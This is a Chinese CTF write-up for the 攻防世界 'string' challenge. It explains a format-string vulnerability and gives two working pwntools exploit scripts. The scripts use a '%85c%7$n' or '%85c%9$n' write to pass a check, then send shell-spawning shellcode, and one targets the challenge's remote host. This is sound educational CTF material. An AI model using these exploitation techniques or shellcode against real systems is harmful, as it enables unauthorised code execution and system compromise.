攻防世界 string WP

本文详细解析了一个存在格式化字符串漏洞的程序,通过具体步骤展示了如何利用此漏洞修改内存中的值,最终达到执行shellcode的目的。文章深入分析了漏洞原理,提供了实际的PoC代码,并探讨了不同输入方式对漏洞利用的影响。

检查文件类型(file命令),检查安全措施(checksec命令)就不多说了,只有PIE没有开。
首先查看一下main函数,有一个sub_400996函数,这个函数就是负责打印一些信息。然后通过malloc申请了8个字节大小的内存,返回的指针为v3,将v3的值(指针的值为地址)存入v4,实际上v3v4都指向了刚才申请的那块内存。然后赋值,将前四个字节赋值为68后四个字节赋值为85。后面通过printf打印了v4v4+4的值,其实就是68和85的地址
在这里插入图片描述

下面有个sub_400D72(v4)函数,将v4的值(也就是v3指向的地址)传了进去,进入这个函数,首先接收一个字符串,长度不大于12,然后有三个函数,分别进行分析。

在这里插入图片描述

首先是sub_400A7D函数,通过上面的字符串提示,可以看到,让我们选择east还是up,但是下面有个while循环,如果你输入的不是east,是无法跳出这个循环的,所以这里我们没得选,只能输入east

在这里插入图片描述

我们返回上一级,继续分析第二个函数,sub_400BB9,首先输入一个 1 ,然后输入一个v2%ld表示4字节有符号整数,下面的scanfprintf构成了一个格式化字符串漏洞。

在这里插入图片描述

这个漏洞怎么利用,还得继续往下分析,我们返回上一级,分析第三个函数sub_400CA6

在这里插入图片描述

判断*a1 是否等于a1[1], 其实a1就是v4*a1的值68a1[1]的值为85。下面有一个read函数,将输入存放在v1,然后下面有一个通过函数指针进行强制类型转换,将刚才的输入转换成一个函数,最后执行。函数指针的相关介绍可以看一下菜鸟教程

这样思路就清晰了,通过格式化字符串漏洞将其中一个值改成另一个值,使这个if条件成立,然后传入shellcode就可以了。对于格式化字符串漏洞不了解的可以看一下这篇文章

先找一下格式化字符串漏洞的偏移,可以看到,在提示我们传入地址的时候,输入了一个1234,他的十六进制是0x4d2,偏移为7。

在这里插入图片描述

脚本如下,可以将*a1的值改成85,也可以将a1[1]的值改成68,当然把两个地址的值都改了也是可以的,只要两个值相同就行。还有一点需要注意的是,通过第一个scanf传入地址,里面的格式化字符串是%ld,也就是说解释成有符号的长整型,所以不需要进行打包操作。如果这里格式化字符串是%s,那么我们就需要将地址进行打包操作了。

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
#conn = process('./str')
conn = remote('220.249.52.133',32702)

conn.recvuntil('secret[0] is ')
secret0 = int(conn.recvuntil('\n')[:-1], 16)
log.success('secret[0] => {}'.format(hex(secret0)))

#conn.recvuntil('secret[1] is ')
#secret1 = int(conn.recvuntil('\n')[:-1], 16)
#log.success('secret[1] => {}'.format(hex(secret1)))

conn.sendlineafter("What should your character's name be:", 'casuall')

conn.sendlineafter('So, where you will go?east or up?:', 'east')

conn.sendlineafter('go into there(1), or leave(0)?:', '1')
# 这里也可以穿入secret1,也就是将v3[1]改成68
conn.sendlineafter("'Give me an address'", str(secret0))
# 如果上面secret1的话,下面的85就需要改成68
payload = '%85c%7$n'
conn.sendlineafter('And, you wish is:', payload)
conn.recvuntil('Wizard: I will help you! USE YOU SPELL\n')

payload = asm(shellcraft.sh())
conn.sendline(payload)

conn.interactive()

但是我尝试不通过第一个scanf输入的地址,直接通过第二个scanf去修改任意地址的值,失败了,不知道原因在哪。

payload = p64(secret0) + '%85c%8$n'.encode() #我的pwntools是python3版本的,所以需要加encode

从理论上讲,我将需要修改的地址写进去,然后更改偏移,也能实现同样的效果,但是没有成功。

后续来了,解决了之前的问题,可能是由于不可见字符都会被省略,会导致后续的操作出问题,将地址写在后面就可以了。

payload = '%85c%9$n'.encode() + p64(secret0)

这样即使没有第一个scanf,我们也能过实现将变量覆盖。

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
conn = process('./str')
#conn = remote('220.249.52.133',32702)

conn.recvuntil('secret[0] is ')
secret0 = int(conn.recvuntil('\n')[:-1], 16)
log.success('secret[0] => {}'.format(hex(secret0)))

conn.sendlineafter("What should your character's name be:", 'casuall')

conn.sendlineafter('So, where you will go?east or up?:', 'east')

conn.sendlineafter('go into there(1), or leave(0)?:', '1')

# 和第一个脚本对比,这里不需要传入地址
conn.sendlineafter("'Give me an address'", '1')
# 将地址写在后面,为了避免一些不可见字符对后续造成的影响
payload = '%85c%9$n'.encode() + p64(secret0)
conn.sendlineafter('And, you wish is:', payload)
conn.recvuntil('Wizard: I will help you! USE YOU SPELL\n')

payload = asm(shellcraft.sh())
conn.sendline(payload)

conn.interactive()
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值